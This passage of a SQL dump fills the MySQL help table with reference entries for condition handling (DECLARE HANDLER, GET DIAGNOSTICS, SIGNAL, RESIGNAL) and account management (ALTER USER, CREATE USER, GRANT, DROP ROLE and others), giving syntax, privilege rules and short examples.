another stored program, the\n calling program handles the condition using the handler selection\n rules applied to its own handlers.\n\no For SQLWARNING conditions, the program continues executing, as if\n there were a CONTINUE handler.\n\no For NOT FOUND conditions, if the condition was raised normally, the\n action is CONTINUE. If it was raised by SIGNAL or RESIGNAL, the\n action is EXIT.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/declare-handler.html\n\n','mysql> CREATE TABLE test.t (s1 INT, PRIMARY KEY (s1));\nQuery OK, 0 rows affected (0.00 sec)\n\nmysql> delimiter //\n\nmysql> CREATE PROCEDURE handlerdemo ()\n BEGIN\n DECLARE CONTINUE HANDLER FOR SQLSTATE \'23000\' SET @x2 = 1;\n SET @x = 1;\n INSERT INTO test.t VALUES (1);\n SET @x = 2;\n INSERT INTO test.t VALUES (1);\n SET @x = 3;\n END;\n //\nQuery OK, 0 rows affected (0.00 sec)\n\nmysql> CALL handlerdemo()//\nQuery OK, 0 rows affected (0.00 sec)\n\nmysql> SELECT @x//\n +------+\n | @x |\n +------+\n | 3 |\n +------+\n 1 row in set (0.00 sec)\n','https://dev.mysql.com/doc/refman/8.0/en/declare-handler.html'),(609,'GET DIAGNOSTICS',45,'Syntax:\nGET [CURRENT | STACKED] DIAGNOSTICS {\n statement_information_item\n [, statement_information_item] ...\n | CONDITION condition_number\n condition_information_item\n [, condition_information_item] ...\n}\n\nstatement_information_item:\n target = statement_information_item_name\n\ncondition_information_item:\n target = condition_information_item_name\n\nstatement_information_item_name: {\n NUMBER\n | ROW_COUNT\n}\n\ncondition_information_item_name: {\n CLASS_ORIGIN\n | SUBCLASS_ORIGIN\n | RETURNED_SQLSTATE\n | MESSAGE_TEXT\n | MYSQL_ERRNO\n | CONSTRAINT_CATALOG\n | CONSTRAINT_SCHEMA\n | CONSTRAINT_NAME\n | CATALOG_NAME\n | SCHEMA_NAME\n | TABLE_NAME\n | COLUMN_NAME\n | CURSOR_NAME\n}\n\ncondition_number, target:\n (see following discussion)\n\nSQL statements produce diagnostic information that populates the\ndiagnostics area. The GET DIAGNOSTICS statement enables applications to\ninspect this information. (You can also use SHOW WARNINGS or SHOW\nERRORS to see conditions or errors.)\n\nNo special privileges are required to execute GET DIAGNOSTICS.\n\nThe keyword CURRENT means to retrieve information from the current\ndiagnostics area. The keyword STACKED means to retrieve information\nfrom the second diagnostics area, which is available only if the\ncurrent context is a condition handler. If neither keyword is given,\nthe default is to use the current diagnostics area.\n\nThe GET DIAGNOSTICS statement is typically used in a handler within a\nstored program. It is a MySQL extension that GET [CURRENT] DIAGNOSTICS\nis permitted outside handler context to check the execution of any SQL\nstatement. For example, if you invoke the mysql client program, you can\nenter these statements at the prompt:\n\nmysql> DROP TABLE test.no_such_table;\nERROR 1051 (42S02): Unknown table \'test.no_such_table\'\nmysql> GET DIAGNOSTICS CONDITION 1\n @p1 = RETURNED_SQLSTATE, @p2 = MESSAGE_TEXT;\nmysql> SELECT @p1, @p2;\n+-------+------------------------------------+\n| @p1 | @p2 |\n+-------+------------------------------------+\n| 42S02 | Unknown table \'test.no_such_table\' |\n+-------+------------------------------------+\n\nThis extension applies only to the current diagnostics area. It does\nnot apply to the second diagnostics area because GET STACKED\nDIAGNOSTICS is permitted only if the current context is a condition\nhandler. If that is not the case, a GET STACKED DIAGNOSTICS when\nhandler not active error occurs.\n\nFor a description of the diagnostics area, see\nhttps://dev.mysql.com/doc/refman/8.0/en/diagnostics-area.html. Briefly,\nit contains two kinds of information:\n\no Statement information, such as the number of conditions that occurred\n or the affected-rows count.\n\no Condition information, such as the error code and message. If a\n statement raises multiple conditions, this part of the diagnostics\n area has a condition area for each one. If a statement raises no\n conditions, this part of the diagnostics area is empty.\n\nFor a statement that produces three conditions, the diagnostics area\ncontains statement and condition information like this:\n\nStatement information:\n row count\n ... other statement information items ...\nCondition area list:\n Condition area 1:\n error code for condition 1\n error message for condition 1\n ... other condition information items ...\n Condition area 2:\n error code for condition 2:\n error message for condition 2\n ... other condition information items ...\n Condition area 3:\n error code for condition 3\n error message for condition 3\n ... other condition information items ...\n\nGET DIAGNOSTICS can obtain either statement or condition information,\nbut not both in the same statement:\n\no To obtain statement information, retrieve the desired statement items\n into target variables. This instance of GET DIAGNOSTICS assigns the\n number of available conditions and the rows-affected count to the\n user variables @p1 and @p2:\n\nGET DIAGNOSTICS @p1 = NUMBER, @p2 = ROW_COUNT;\n\no To obtain condition information, specify the condition number and\n retrieve the desired condition items into target variables. This\n instance of GET DIAGNOSTICS assigns the SQLSTATE value and error\n message to the user variables @p3 and @p4:\n\nGET DIAGNOSTICS CONDITION 1\n @p3 = RETURNED_SQLSTATE, @p4 = MESSAGE_TEXT;\n\nThe retrieval list specifies one or more target = item_name\nassignments, separated by commas. Each assignment names a target\nvariable and either a statement_information_item_name or\ncondition_information_item_name designator, depending on whether the\nstatement retrieves statement or condition information.\n\nValid target designators for storing item information can be stored\nprocedure or function parameters, stored program local variables\ndeclared with DECLARE, or user-defined variables.\n\nValid condition_number designators can be stored procedure or function\nparameters, stored program local variables declared with DECLARE,\nuser-defined variables, system variables, or literals. A character\nliteral may include a _charset introducer. A warning occurs if the\ncondition number is not in the range from 1 to the number of condition\nareas that have information. In this case, the warning is added to the\ndiagnostics area without clearing it.\n\nWhen a condition occurs, MySQL does not populate all condition items\nrecognized by GET DIAGNOSTICS. For example:\n\nmysql> GET DIAGNOSTICS CONDITION 1\n @p5 = SCHEMA_NAME, @p6 = TABLE_NAME;\nmysql> SELECT @p5, @p6;\n+------+------+\n| @p5 | @p6 |\n+------+------+\n| | |\n+------+------+\n\nIn standard SQL, if there are multiple conditions, the first condition\nrelates to the SQLSTATE value returned for the previous SQL statement.\nIn MySQL, this is not guaranteed. To get the main error, you cannot do\nthis:\n\nGET DIAGNOSTICS CONDITION 1 @errno = MYSQL_ERRNO;\n\nInstead, retrieve the condition count first, then use it to specify\nwhich condition number to inspect:\n\nGET DIAGNOSTICS @cno = NUMBER;\nGET DIAGNOSTICS CONDITION @cno @errno = MYSQL_ERRNO;\n\nFor information about permissible statement and condition information\nitems, and which ones are populated when a condition occurs, see\nhttps://dev.mysql.com/doc/refman/8.0/en/diagnostics-area.html#diagnosti\ncs-area-information-items.\n\nHere is an example that uses GET DIAGNOSTICS and an exception handler\nin stored procedure context to assess the outcome of an insert\noperation. If the insert was successful, the procedure uses GET\nDIAGNOSTICS to get the rows-affected count. This shows that you can use\nGET DIAGNOSTICS multiple times to retrieve information about a\nstatement as long as the current diagnostics area has not been cleared.\n\nCREATE PROCEDURE do_insert(value INT)\nBEGIN\n -- Declare variables to hold diagnostics area information\n DECLARE code CHAR(5) DEFAULT \'00000\';\n DECLARE msg TEXT;\n DECLARE nrows INT;\n DECLARE result TEXT;\n -- Declare exception handler for failed insert\n DECLARE CONTINUE HANDLER FOR SQLEXCEPTION\n BEGIN\n GET DIAGNOSTICS CONDITION 1\n code = RETURNED_SQLSTATE, msg = MESSAGE_TEXT;\n END;\n\n -- Perform the insert\n INSERT INTO t1 (int_col) VALUES(value);\n -- Check whether the insert was successful\n IF code = \'00000\' THEN\n GET DIAGNOSTICS nrows = ROW_COUNT;\n SET result = CONCAT(\'insert succeeded, row count = \',nrows);\n ELSE\n SET result = CONCAT(\'insert failed, error = \',code,\', message = \',msg);\n END IF;\n -- Say what happened\n SELECT result;\nEND;\n\nSuppose that t1.int_col is an integer column that is declared as NOT\nNULL. The procedure produces these results when invoked to insert\nnon-NULL and NULL values, respectively:\n\nmysql> CALL do_insert(1);\n+---------------------------------+\n| result |\n+---------------------------------+\n| insert succeeded, row count = 1 |\n+---------------------------------+\n\nmysql> CALL do_insert(NULL);\n+-------------------------------------------------------------------------+\n| result |\n+-------------------------------------------------------------------------+\n| insert failed, error = 23000, message = Column \'int_col\' cannot be null |\n+-------------------------------------------------------------------------+\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/get-diagnostics.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/get-diagnostics.html'),(610,'RESIGNAL',45,'Syntax:\nRESIGNAL [condition_value]\n [SET signal_information_item\n [, signal_information_item] ...]\n\ncondition_value: {\n SQLSTATE [VALUE] sqlstate_value\n | condition_name\n}\n\nsignal_information_item:\n condition_information_item_name = simple_value_specification\n\ncondition_information_item_name: {\n CLASS_ORIGIN\n | SUBCLASS_ORIGIN\n | MESSAGE_TEXT\n | MYSQL_ERRNO\n | CONSTRAINT_CATALOG\n | CONSTRAINT_SCHEMA\n | CONSTRAINT_NAME\n | CATALOG_NAME\n | SCHEMA_NAME\n | TABLE_NAME\n | COLUMN_NAME\n | CURSOR_NAME\n}\n\ncondition_name, simple_value_specification:\n (see following discussion)\n\nRESIGNAL passes on the error condition information that is available\nduring execution of a condition handler within a compound statement\ninside a stored procedure or function, trigger, or event. RESIGNAL may\nchange some or all information before passing it on. RESIGNAL is\nrelated to SIGNAL, but instead of originating a condition as SIGNAL\ndoes, RESIGNAL relays existing condition information, possibly after\nmodifying it.\n\nRESIGNAL makes it possible to both handle an error and return the error\ninformation. Otherwise, by executing an SQL statement within the\nhandler, information that caused the handler\'s activation is destroyed.\nRESIGNAL also can make some procedures shorter if a given handler can\nhandle part of a situation, then pass the condition \"up the line\" to\nanother handler.\n\nNo privileges are required to execute the RESIGNAL statement.\n\nAll forms of RESIGNAL require that the current context be a condition\nhandler. Otherwise, RESIGNAL is illegal and a RESIGNAL when handler not\nactive error occurs.\n\nTo retrieve information from the diagnostics area, use the GET\nDIAGNOSTICS statement (see [HELP GET DIAGNOSTICS]). For information\nabout the diagnostics area, see\nhttps://dev.mysql.com/doc/refman/8.0/en/diagnostics-area.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/resignal.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/resignal.html'),(611,'SIGNAL',45,'Syntax:\nSIGNAL condition_value\n [SET signal_information_item\n [, signal_information_item] ...]\n\ncondition_value: {\n SQLSTATE [VALUE] sqlstate_value\n | condition_name\n}\n\nsignal_information_item:\n condition_information_item_name = simple_value_specification\n\ncondition_information_item_name: {\n CLASS_ORIGIN\n | SUBCLASS_ORIGIN\n | MESSAGE_TEXT\n | MYSQL_ERRNO\n | CONSTRAINT_CATALOG\n | CONSTRAINT_SCHEMA\n | CONSTRAINT_NAME\n | CATALOG_NAME\n | SCHEMA_NAME\n | TABLE_NAME\n | COLUMN_NAME\n | CURSOR_NAME\n}\n\ncondition_name, simple_value_specification:\n (see following discussion)\n\nSIGNAL is the way to \"return\" an error. SIGNAL provides error\ninformation to a handler, to an outer portion of the application, or to\nthe client. Also, it provides control over the error\'s characteristics\n(error number, SQLSTATE value, message). Without SIGNAL, it is\nnecessary to resort to workarounds such as deliberately referring to a\nnonexistent table to cause a routine to return an error.\n\nNo privileges are required to execute the SIGNAL statement.\n\nTo retrieve information from the diagnostics area, use the GET\nDIAGNOSTICS statement (see [HELP GET DIAGNOSTICS]). For information\nabout the diagnostics area, see\nhttps://dev.mysql.com/doc/refman/8.0/en/diagnostics-area.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/signal.html\n\n','CREATE PROCEDURE p (pval INT)\nBEGIN\n DECLARE specialty CONDITION FOR SQLSTATE \'45000\';\n IF pval = 0 THEN\n SIGNAL SQLSTATE \'01000\';\n ELSEIF pval = 1 THEN\n SIGNAL SQLSTATE \'45000\'\n SET MESSAGE_TEXT = \'An error occurred\';\n ELSEIF pval = 2 THEN\n SIGNAL specialty\n SET MESSAGE_TEXT = \'An error occurred\';\n ELSE\n SIGNAL SQLSTATE \'01000\'\n SET MESSAGE_TEXT = \'A warning occurred\', MYSQL_ERRNO = 1000;\n SIGNAL SQLSTATE \'45000\'\n SET MESSAGE_TEXT = \'An error occurred\', MYSQL_ERRNO = 1001;\n END IF;\nEND;\n','https://dev.mysql.com/doc/refman/8.0/en/signal.html'),(612,'ALTER USER',46,'Syntax:\nALTER USER [IF EXISTS]\n user [auth_option] [, user [auth_option]] ...\n [REQUIRE {NONE | tls_option [[AND] tls_option] ...}]\n [WITH resource_option [resource_option] ...]\n [password_option | lock_option] ...\n [COMMENT \'comment_string\' | ATTRIBUTE \'json_object\']\n\nALTER USER [IF EXISTS]\n USER() user_func_auth_option\n\nALTER USER [IF EXISTS]\n user [registration_option]\n\nALTER USER [IF EXISTS]\n USER() [registration_option]\n\nALTER USER [IF EXISTS]\n user DEFAULT ROLE\n {NONE | ALL | role [, role ] ...}\n\nuser:\n (see )\n\nauth_option: {\n IDENTIFIED BY \'auth_string\'\n [REPLACE \'current_auth_string\']\n [RETAIN CURRENT PASSWORD]\n | IDENTIFIED BY RANDOM PASSWORD\n [REPLACE \'current_auth_string\']\n [RETAIN CURRENT PASSWORD]\n | IDENTIFIED WITH auth_plugin\n | IDENTIFIED WITH auth_plugin BY \'auth_string\'\n [REPLACE \'current_auth_string\']\n [RETAIN CURRENT PASSWORD]\n | IDENTIFIED WITH auth_plugin BY RANDOM PASSWORD\n [REPLACE \'current_auth_string\']\n [RETAIN CURRENT PASSWORD]\n | IDENTIFIED WITH auth_plugin AS \'auth_string\'\n | DISCARD OLD PASSWORD\n | ADD factor factor_auth_option [ADD factor factor_auth_option]\n | MODIFY factor factor_auth_option [MODIFY factor factor_auth_option]\n | DROP factor [DROP factor]\n}\n\nuser_func_auth_option: {\n IDENTIFIED BY \'auth_string\'\n [REPLACE \'current_auth_string\']\n [RETAIN CURRENT PASSWORD]\n | DISCARD OLD PASSWORD\n}\n\nfactor_auth_option: {\n IDENTIFIED BY \'auth_string\'\n | IDENTIFIED BY RANDOM PASSWORD\n | IDENTIFIED WITH auth_plugin BY \'auth_string\'\n | IDENTIFIED WITH auth_plugin BY RANDOM PASSWORD\n | IDENTIFIED WITH auth_plugin AS \'auth_string\'\n}\n\nregistration_option: {\n factor INITIATE REGISTRATION\n | factor FINISH REGISTRATION SET CHALLENGE_RESPONSE AS \'auth_string\'\n | factor UNREGISTER\n}\n\nfactor: {2 | 3} FACTOR\n\ntls_option: {\n SSL\n | X509\n | CIPHER \'cipher\'\n | ISSUER \'issuer\'\n | SUBJECT \'subject\'\n}\n\nresource_option: {\n MAX_QUERIES_PER_HOUR count\n | MAX_UPDATES_PER_HOUR count\n | MAX_CONNECTIONS_PER_HOUR count\n | MAX_USER_CONNECTIONS count\n}\n\npassword_option: {\n PASSWORD EXPIRE [DEFAULT | NEVER | INTERVAL N DAY]\n | PASSWORD HISTORY {DEFAULT | N}\n | PASSWORD REUSE INTERVAL {DEFAULT | N DAY}\n | PASSWORD REQUIRE CURRENT [DEFAULT | OPTIONAL]\n | FAILED_LOGIN_ATTEMPTS N\n | PASSWORD_LOCK_TIME {N | UNBOUNDED}\n}\n\nlock_option: {\n ACCOUNT LOCK\n | ACCOUNT UNLOCK\n}\n\nThe ALTER USER statement modifies MySQL accounts. It enables\nauthentication, role, SSL/TLS, resource-limit, password-management,\ncomment, and attribute properties to be modified for existing accounts.\nIt can also be used to lock and unlock accounts.\n\nIn most cases, ALTER USER requires the global CREATE USER privilege, or\nthe UPDATE privilege for the mysql system schema. The exceptions are:\n\no Any client who connects to the server using a nonanonymous account\n can change the password for that account. (In particular, you can\n change your own password.) To see which account the server\n authenticated you as, invoke the CURRENT_USER() function:\n\nSELECT CURRENT_USER();\n\no For DEFAULT ROLE syntax, ALTER USER requires these privileges:\n\n o Setting the default roles for another user requires the global\n CREATE USER privilege, or the UPDATE privilege for the\n mysql.default_roles system table.\n\n o Setting the default roles for yourself requires no special\n privileges, as long as the roles you want as the default have been\n granted to you.\n\no Statements that modify secondary passwords require these privileges:\n\n o The APPLICATION_PASSWORD_ADMIN privilege is required to use the\n RETAIN CURRENT PASSWORD or DISCARD OLD PASSWORD clause for ALTER\n USER statements that apply to your own account. The privilege is\n required to manipulate your own secondary password because most\n users require only one password.\n\n o If an account is to be permitted to manipulate secondary passwords\n for all accounts, it requires the CREATE USER privilege rather than\n APPLICATION_PASSWORD_ADMIN.\n\nWhen the read_only system variable is enabled, ALTER USER additionally\nrequires the CONNECTION_ADMIN privilege (or the deprecated SUPER\nprivilege).\n\nAs of MySQL 8.0.27, these additional privilege considerations apply:\n\no The authentication_policy system variable places certain constraints\n on how the authentication-related clauses of ALTER USER statements\n may be used; for details, see the description of that variable. These\n constraints do not apply if you have the AUTHENTICATION_POLICY_ADMIN\n privilege.\n\no To modify an account that uses passwordless authentication, you must\n have the PASSWORDLESS_USER_ADMIN privilege.\n\nBy default, an error occurs if you try to modify a user that does not\nexist. If the IF EXISTS clause is given, the statement produces a\nwarning for each named user that does not exist, rather than an error.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/alter-user.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/alter-user.html'),(613,'CREATE ROLE',46,'Syntax:\nCREATE ROLE [IF NOT EXISTS] role [, role ] ...\n\nCREATE ROLE creates one or more roles, which are named collections of\nprivileges. To use this statement, you must have the global CREATE ROLE\nor CREATE USER privilege. When the read_only system variable is\nenabled, CREATE ROLE additionally requires the CONNECTION_ADMIN\nprivilege (or the deprecated SUPER privilege).\n\nA role when created is locked, has no password, and is assigned the\ndefault authentication plugin. (These role attributes can be changed\nlater with the ALTER USER statement, by users who have the global\nCREATE USER privilege.)\n\nCREATE ROLE either succeeds for all named roles or rolls back and has\nno effect if any error occurs. By default, an error occurs if you try\nto create a role that already exists. If the IF NOT EXISTS clause is\ngiven, the statement produces a warning for each named role that\nalready exists, rather than an error.\n\nThe statement is written to the binary log if it succeeds, but not if\nit fails; in that case, rollback occurs and no changes are made. A\nstatement written to the binary log includes all named roles. If the IF\nNOT EXISTS clause is given, this includes even roles that already exist\nand were not created.\n\nEach role name uses the format described in\nhttps://dev.mysql.com/doc/refman/8.0/en/role-names.html. For example:\n\nCREATE ROLE \'admin\', \'developer\';\nCREATE ROLE \'webapp\'@\'localhost\';\n\nThe host name part of the role name, if omitted, defaults to \'%\'.\n\nFor role usage examples, see\nhttps://dev.mysql.com/doc/refman/8.0/en/roles.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/create-role.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/create-role.html'),(614,'CREATE USER',46,'Syntax:\nCREATE USER [IF NOT EXISTS]\n user [auth_option] [, user [auth_option]] ...\n DEFAULT ROLE role [, role ] ...\n [REQUIRE {NONE | tls_option [[AND] tls_option] ...}]\n [WITH resource_option [resource_option] ...]\n [password_option | lock_option] ...\n [COMMENT \'comment_string\' | ATTRIBUTE \'json_object\']\n\nuser:\n (see )\n\nauth_option: {\n IDENTIFIED BY \'auth_string\' [AND 2fa_auth_option]\n | IDENTIFIED BY RANDOM PASSWORD [AND 2fa_auth_option]\n | IDENTIFIED WITH auth_plugin [AND 2fa_auth_option]\n | IDENTIFIED WITH auth_plugin BY \'auth_string\' [AND 2fa_auth_option]\n | IDENTIFIED WITH auth_plugin BY RANDOM PASSWORD [AND 2fa_auth_option]\n | IDENTIFIED WITH auth_plugin AS \'auth_string\' [AND 2fa_auth_option]\n | IDENTIFIED WITH auth_plugin [initial_auth_option]\n}\n\n2fa_auth_option: {\n IDENTIFIED BY \'auth_string\' [AND 3fa_auth_option]\n | IDENTIFIED BY RANDOM PASSWORD [AND 3fa_auth_option]\n | IDENTIFIED WITH auth_plugin [AND 3fa_auth_option]\n | IDENTIFIED WITH auth_plugin BY \'auth_string\' [AND 3fa_auth_option]\n | IDENTIFIED WITH auth_plugin BY RANDOM PASSWORD [AND 3fa_auth_option]\n | IDENTIFIED WITH auth_plugin AS \'auth_string\' [AND 3fa_auth_option]\n}\n\n3fa_auth_option: {\n IDENTIFIED BY \'auth_string\'\n | IDENTIFIED BY RANDOM PASSWORD\n | IDENTIFIED WITH auth_plugin\n | IDENTIFIED WITH auth_plugin BY \'auth_string\'\n | IDENTIFIED WITH auth_plugin BY RANDOM PASSWORD\n | IDENTIFIED WITH auth_plugin AS \'auth_string\'\n}\n\ninitial_auth_option: {\n INITIAL AUTHENTICATION IDENTIFIED BY {RANDOM PASSWORD | \'auth_string\'}\n | INITIAL AUTHENTICATION IDENTIFIED WITH auth_plugin AS \'auth_string\'\n}\n\ntls_option: {\n SSL\n | X509\n | CIPHER \'cipher\'\n | ISSUER \'issuer\'\n | SUBJECT \'subject\'\n}\n\nresource_option: {\n MAX_QUERIES_PER_HOUR count\n | MAX_UPDATES_PER_HOUR count\n | MAX_CONNECTIONS_PER_HOUR count\n | MAX_USER_CONNECTIONS count\n}\n\npassword_option: {\n PASSWORD EXPIRE [DEFAULT | NEVER | INTERVAL N DAY]\n | PASSWORD HISTORY {DEFAULT | N}\n | PASSWORD REUSE INTERVAL {DEFAULT | N DAY}\n | PASSWORD REQUIRE CURRENT [DEFAULT | OPTIONAL]\n | FAILED_LOGIN_ATTEMPTS N\n | PASSWORD_LOCK_TIME {N | UNBOUNDED}\n}\n\nlock_option: {\n ACCOUNT LOCK\n | ACCOUNT UNLOCK\n}\n\nThe CREATE USER statement creates new MySQL accounts. It enables\nauthentication, role, SSL/TLS, resource-limit, password-management,\ncomment, and attribute properties to be established for new accounts.\nIt also controls whether accounts are initially locked or unlocked.\n\nTo use CREATE USER, you must have the global CREATE USER privilege, or\nthe INSERT privilege for the mysql system schema. When the read_only\nsystem variable is enabled, CREATE USER additionally requires the\nCONNECTION_ADMIN privilege (or the deprecated SUPER privilege).\n\nAs of MySQL 8.0.27, these additional privilege considerations apply:\n\no The authentication_policy system variable places certain constraints\n on how the authentication-related clauses of CREATE USER statements\n may be used; for details, see the description of that variable. These\n constraints do not apply if you have the AUTHENTICATION_POLICY_ADMIN\n privilege.\n\no To create an account that uses passwordless authentication, you must\n have the PASSWORDLESS_USER_ADMIN privilege.\n\nAs of MySQL 8.0.22, CREATE USER fails with an error if any account to\nbe created is named as the DEFINER attribute for any stored object.\n(That is, the statement fails if creating an account would cause the\naccount to adopt a currently orphaned stored object.) To perform the\noperation anyway, you must have the SET_USER_ID privilege; in this\ncase, the statement succeeds with a warning rather than failing with an\nerror. Without SET_USER_ID, to perform the user-creation operation,\ndrop the orphan objects, create the account and grant its privileges,\nand then re-create the dropped objects. For additional information,\nincluding how to identify which objects name a given account as the\nDEFINER attribute, see\nhttps://dev.mysql.com/doc/refman/8.0/en/stored-objects-security.html#st\nored-objects-security-orphan-objects.\n\nCREATE USER either succeeds for all named users or rolls back and has\nno effect if any error occurs. By default, an error occurs if you try\nto create a user that already exists. If the IF NOT EXISTS clause is\ngiven, the statement produces a warning for each named user that\nalready exists, rather than an error.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/create-user.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/create-user.html'),(615,'DROP ROLE',46,'Syntax:\nDROP ROLE [IF EXISTS] role [, role ] ...\n\nDROP ROLE removes one or more roles (named collections of privileges).\nTo use this statement, you must have the global DROP ROLE or CREATE\nUSER privilege. When the read_only system variable is enabled, DROP\nROLE additionally requires the CONNECTION_ADMIN privilege (or the\ndeprecated SUPER privilege).\n\nAs of MySQL 8.0.16, users who have the CREATE USER privilege can use\nthis statement to drop accounts that are locked or unlocked. Users who\nhave the DROP ROLE privilege can use this statement only to drop\naccounts that are locked (unlocked accounts are presumably user\naccounts used to log in to the server and not just as roles).\n\nRoles named in the mandatory_roles system variable value cannot be\ndropped.\n\nDROP ROLE either succeeds for all named roles or rolls back and has no\neffect if any error occurs. By default, an error occurs if you try to\ndrop a role that does not exist. If the IF EXISTS clause is given, the\nstatement produces a warning for each named role that does not exist,\nrather than an error.\n\nThe statement is written to the binary log if it succeeds, but not if\nit fails; in that case, rollback occurs and no changes are made. A\nstatement written to the binary log includes all named roles. If the IF\nEXISTS clause is given, this includes even roles that do not exist and\nwere not dropped.\n\nEach role name uses the format described in\nhttps://dev.mysql.com/doc/refman/8.0/en/role-names.html. For example:\n\nDROP ROLE \'admin\', \'developer\';\nDROP ROLE \'webapp\'@\'localhost\';\n\nThe host name part of the role name, if omitted, defaults to \'%\'.\n\nA dropped role is automatically revoked from any user account (or role)\nto which the role was granted. Within any current session for such an\naccount, its adjusted privileges apply beginning with the next\nstatement executed.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/drop-role.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/drop-role.html'),(616,'DROP USER',46,'Syntax:\nDROP USER [IF EXISTS] user [, user] ...\n\nThe DROP USER statement removes one or more MySQL accounts and their\nprivileges. It removes privilege rows for the account from all grant\ntables.\n\nRoles named in the mandatory_roles system variable value cannot be\ndropped.\n\nTo use DROP USER, you must have the global CREATE USER privilege, or\nthe DELETE privilege for the mysql system schema. When the read_only\nsystem variable is enabled, DROP USER additionally requires the\nCONNECTION_ADMIN privilege (or the deprecated SUPER privilege).\n\nAs of MySQL 8.0.22, DROP USER fails with an error if any account to be\ndropped is named as the DEFINER attribute for any stored object. (That\nis, the statement fails if dropping an account would cause a stored\nobject to become orphaned.) To perform the operation anyway, you must\nhave the SET_USER_ID privilege; in this case, the statement succeeds\nwith a warning rather than failing with an error. For additional\ninformation, including how to identify which objects name a given\naccount as the DEFINER attribute, see\nhttps://dev.mysql.com/doc/refman/8.0/en/stored-objects-security.html#st\nored-objects-security-orphan-objects.\n\nDROP USER either succeeds for all named users or rolls back and has no\neffect if any error occurs. By default, an error occurs if you try to\ndrop a user that does not exist. If the IF EXISTS clause is given, the\nstatement produces a warning for each named user that does not exist,\nrather than an error.\n\nThe statement is written to the binary log if it succeeds, but not if\nit fails; in that case, rollback occurs and no changes are made. A\nstatement written to the binary log includes all named users. If the IF\nEXISTS clause is given, this includes even users that do not exist and\nwere not dropped.\n\nEach account name uses the format described in\nhttps://dev.mysql.com/doc/refman/8.0/en/account-names.html. For\nexample:\n\nDROP USER \'jeffrey\'@\'localhost\';\n\nThe host name part of the account name, if omitted, defaults to \'%\'.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/drop-user.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/drop-user.html'),(617,'GRANT',46,'Syntax:\nGRANT\n priv_type [(column_list)]\n [, priv_type [(column_list)]] ...\n ON [object_type] priv_level\n TO user_or_role [, user_or_role] ...\n [WITH GRANT OPTION]\n [AS user\n [WITH ROLE\n DEFAULT\n | NONE\n | ALL\n | ALL EXCEPT role [, role ] ...\n | role [, role ] ...\n ]\n ]\n}\n\nGRANT PROXY ON user_or_role\n TO user_or_role [, user_or_role] ...\n [WITH GRANT OPTION]\n\nGRANT role [, role] ...\n TO user_or_role [, user_or_role] ...\n [WITH ADMIN OPTION]\n\nobject_type: {\n TABLE\n | FUNCTION\n | PROCEDURE\n}\n\npriv_level: {\n *\n | *.*\n | db_name.*\n | db_name.tbl_name\n | tbl_name\n | db_name.routine_name\n}\n\nuser_or_role: {\n user (see https://dev.mysql.com/doc/refman/8.0/en/account-names.html)\n | role (see https://dev.mysql.com/doc/refman/8.0/en/role-names.html)\n}\n\nThe GRANT statement enables system administrators to grant privileges\nand roles, which can be granted to user accounts and roles. These\nsyntax restrictions apply:\n\no GRANT cannot mix granting both privileges and roles in the same\n statement. A given GRANT statement must grant either privileges or\n roles.\n\no The ON clause distinguishes whether the statement grants privileges\n or roles:\n\n o With ON, the statement grants privileges.\n\n o Without ON, the statement grants roles.\n\n o It is permitted to assign both privileges and roles to an account,\n but you must use separate GRANT statements, each with syntax\n appropriate to what is to be granted.\n\nFor more information about roles, see\nhttps://dev.mysql.com/doc/refman/8.0/en/roles.html.\n\nTo grant a privilege with GRANT, you must have the GRANT OPTION\nprivilege, and you must have the privileges that you are granting.\n(Alternatively, if you have the UPDATE privilege for the grant tables\nin the mysql system schema, you can grant any account any privilege.)\nWhen the read_only system variable is enabled, GRANT additionally\nrequires the CONNECTION_ADMIN privilege (or the deprecated SUPER\nprivilege).\n\nGRANT either succeeds for all named users and roles or rolls back and\nhas no effect if any error occurs. The statement is written to the\nbinary log only if it succeeds for all named users and roles.\n\nThe REVOKE statement is related to GRANT and enables administrators to\nremove account privileges. See [HELP REVOKE].\n\nEach account name uses the format described in\nhttps://dev.mysql.com/doc/refman/8.0/en/account-names.html. Each role\nname uses the format described in\nhttps://dev.mysql.com/doc/refman/8.0/en/role-names.html. For example:\n\nGRANT ALL ON db1.* TO \'jeffrey\'@\'localhost\';\nGRANT \'role1\', \'role2\' TO \'user1\'@\'localhost\', \'user2\'@\'localhost\';\nGRANT SELECT ON world.* TO \'role3\';\n\nThe host name part of the account or role name, if omitted, defaults to\n\'%\'.\n\nNormally, a database administrator first uses CREATE USER to create an\naccount and define its nonprivilege characteristics such as its\npassword, whether it uses secure connections, and limits on access to\nserver resources, then uses GRANT to define its privileges. ALTER USER\nmay be used to change the nonprivilege characteristics of existing\naccounts. For example:\n\nCREATE USER \'jeffrey\'@\'localhost\' IDENTIFIED BY \'password\';\nGRANT ALL ON db1.* TO \'jeffrey\'@\'localhost\';\nGRANT SELECT ON db2.invoice TO \'jeffrey\'@\'localhost\';\nALTER USER \'jeffrey\'@\'localhost\' WITH MAX_QUERIES_PER_HOUR 90;\n\nFrom the mysql program, GRANT responds with Query OK, 0 rows affected\nwhen executed successfully. To determine what privileges result from\nthe operation, use SHOW GRANTS. See [HELP SHOW GRANTS].\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/grant.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/grant.html'),(618,'RENAME USER',46,'Syntax:\nRENAME USER old_user TO new_user\n [, old_user TO new_user] ...\n\nThe RENAME USER statement renames existing MySQL accounts. An error\noccurs for old accounts that do not exist or new accounts that already\nexist.\n\nTo use RENAME USER, you must have the global CREATE USER privilege, or\nthe UPDATE privilege for the mysql system schema. When the read_only\nsystem variable is enabled, RENAME USER additionally requires the\nCONNECTION_ADMIN privilege (or the deprecated SUPER privilege).\n\nAs of MySQL 8.0.22, RENAME USER fails with an error if any account 